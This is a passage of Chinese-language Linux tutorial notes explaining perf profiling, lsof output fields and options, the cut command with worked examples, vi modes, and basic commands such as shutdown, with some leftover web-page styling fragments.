  return 0;
}

void test()
{
  long i;
  for (i = 0; i < 10000000; i ++) {

  }
  puts("finished");
}

编译后,执行如下命令

$ perf record ./test3
$ perf report

输出以下内容

Samples: 68  of event 'cpu-clock', Event count (approx.): 17000000
 97.06%  test3  test3              [.] test
  1.47%  test3  [kernel.kallsyms]  [k] __do_softirq
  1.47%  test3  [kernel.kallsyms]  [k] queue_work_on

从中可以看到,大部分时间都消耗在了test函数中。

perf record 命令增加 -g 参数可以记录函数的调用图信息。更多详情参考: Perf -- Linux下的系统性能调优工具

lsof命令: 列出打开的文件

工具 lsof 是一个可以列出操作系统打开的文件的工具,在Linux系统中,任何事物都是以文件的形式存在,通过文件不仅可以访问常规文件,还可以访问网络连接和硬件设备。

在终端下直接输入 [ls](http://www.ahlinux.com/start/cmd/9030.html)of 命令,会列出当前系统打开的所有文件,因为它需要列出核心内存和各种文件,所以必须使用root用户运行才能显示详细的信息。

nlo, Consolas, 'Courier New', monospace; color: rgb(51, 51, 51); border-radius: 4px; margin-top: 0px; margin-bottom: 1.5em; line-height: 1.5em; word-break: break-all; word-wrap: break-word; white-space: pre-wrap; border: 1px solid rgba(0, 0, 0, 0.14902); overflow-y: auto; background-color: rgb(246, 246, 246);">
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME init 1 root cwd DIR 253,0 4096 2 / init 1 root rtd DIR 253,0 4096 2 / init 1 root txt REG 253,0 150352 10973 /sbin/init init 1 root mem REG 253,0 65928 264638 /lib64/libnss_files-2.12.so init 1 root mem REG 253,0 1922112 265339 /lib64/libc-2.12.so init 1 root mem REG 253,0 93224 277540 /lib64/libgcc_s-4.4.6-20120305.so.1 init 1 root mem REG 253,0 47064 267086 /lib64/librt-2.12.so ...

这里的 COMMAND 是进程名称, PID,USER 分别指的是进程的ID和进程所有者,FD 是文件描述符, TYPE 是文件类型, DEVICE 是磁盘名称, SIZE 是文件大小,NODE 是索引节点(文件在磁盘上的标识), NAME 是打开文件的确切名称。

对于 FD 的值, cwd 表示当前工作目录, Lnn 表示类库引用, mem 表示内存映射文件, rtd 表示根目录, pd 表示父目录, txt 表示进程的数据和代码。

常用参数及说明

  • lsof filename 显示打开指定文件的所有进程
  • lsof -a 表示两个参数都必须满足时才显示结果
  • lsof -c string 显示COMMAND列中包含指定字符的进程所有打开的文件
  • lsof -u username 显示所属user进程打开的文件
  • lsof -g gid 显示归属gid的进程情况
  • lsof +d /DIR/ 显示目录下被进程打开的文件
  • lsof +D /DIR/ 同上,但是会搜索目录下的所有目录,时间相对较长
  • lsof -d FD 显示指定文件描述符的进程
  • lsof -n 不将IP转换为hostname,缺省是不加上-n参数
  • lsof -i 用以显示符合条件的进程情况
  • lsof -p PID 选择指定PID
  • lsof -i[46] [protocol][@hostname|hostaddr][:service|port] 
    46: IPv4 or IPv6 
    protocol: TCP or UDP 
    hostname: Internet host name 
    hostaddr: IPv4地址 
    service: /etc/service中的 service name (可以不只一个) 
    port: 端口号 (可以不只一个)

1

cut命令cut命令用来操作文件的列,可以视为列编辑器;与之对应是大多数的行编辑器,如sed、grep、sort等,它们操作文本时,以行为单位。cut…

cut命令

cut命令用来操作文件的列,可以视为列编辑器;与之对应是大多数的行“编辑器”,如sed、grep、sort等,它们操作文本时,以行为单位。

cut的主要功能就是输出文本的某一列或几列。对于英文文本,一个字符就占据一列,所以输出几列就是输出几个字符。

主要选项如下:

  • -c : 指定要输出的列数,可以是单个数字,也可以是如3-5之类的范围。

    m@meng:~$ cat new
    apple   3
    Apple   7
    pear    6
    pear    4
    banana  1
    orange  11
    m@meng:~$ cut -c 1-6 new
    apple
    Apple
    pear
    pear
    banana
    orange
  • -b : 指定每行要输出的字节数,与-c选项基本一样,尤其对英文文本,因为一个英文字母就是一个字节(我觉得把英文改成ASCII文本更合适)。

    m@meng:~$ cut -b 3 new
    p
    p
    a
    a
    n
    a
  • -f : cut更强大的地方在于处理格式化的文本,即每行可以分为几个字段的那种。似乎很多命令都提供这种功能,比如sort,但是做的都很勉强,关键是它们对分隔符的识别太差了。在这方面,awk遥遥领先。-f选项用来指定输出哪个字段,默认的分隔符是tab。其实多个空格似乎也能识别,有时间我会专门研究一下分隔符的问题。

    m@meng:~$ cut -f 2 new
    3
    7
    6
    4
    1
    11

实际上new文件中名字和数字之间的分隔符并不是tab,而cut却正确识别了;然而,这种情况是不确定的,比如下例:

m@meng:/etc/network$ sudo netstat -apn | sed '3,6 p' -n | cut -f 1
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      2899/sendmail: MTA:
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      1192/named
tcp        0      0 0.0.0.0:538             0.0.0.0:*               LISTEN      1251/gdomap
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      672/smbd 

这么明显的分隔都没能识别,源码怎么写的???

  • -d : 指定分隔符,一般配合-f使用。分隔符一般只能指定单个字符。

  • -s : 仅输出包含分隔符的行。它会覆盖-f的一些功能,因为只有-f时,会同时输出不包含分隔符的行;加上-s选项后,就会删除掉没有包含分隔符的行。

  • –output-delimiter=str : 指定输出分隔符为str。默认与输入分隔符一致。 

    nlo, Consolas, 'Courier New', monospace; border-radius: 4px; margin-top: 0px; margin-bottom: 1.5em; font-size: 12px; line-height: 1.5em; word-break: break-all; word-wrap: break-word; white-space: pre-wrap; border: 1px solid rgba(0, 0, 0, 0.14902); overflow-y: auto; background-color: rgb(246, 246, 246);">
    m@meng:~$ [cut](http://www.ahlinux.com/start/cmd/2818.html) --output-delimiter=: -f 1-2 new apple: 3 Apple: 7 pear: 6 pear: 4 banana: 1 orange: 11 m@meng:~$ cut --output-delimiter=: -c 1-4 new appl Appl pear pear bana oran

显然,这个选项只对不同字段之间有效。。。

1

xxxxxxxxxxxxxxxxxxxxxx

命令模式(Command mode):vi
插入模式(Insert mode):i
底线命令模式(Last line mode):esc + :wq

linux centOS 命令:
man  查看
ctrl+L 清屏
ls 列出文件
ls -a 列出所有文件
pwd 查看当前所在目录
cat xxx  查看xxx文件的内容

shutdown [OPTIONS…][TIME][WALL]
可选参数列表:命令参数,时间,给已经登陆的user发送的shutdown信息

shutdown -now === shutdown +0
shutdown --help 打印一个简短的帮助信息并退出!
shutdown -H 挂起机器
shutdown -P或--poweroff 关机(默认)
shutdown -r 重启机器
shutdown -h 等价于关机,除非halt已经执行
shutdown -c 取消
shutdown -k 不挂起/关机/重启,仅仅等待wall信息
shutdown --no-wall 在挂起/关机/重启前,不发送wall信息

***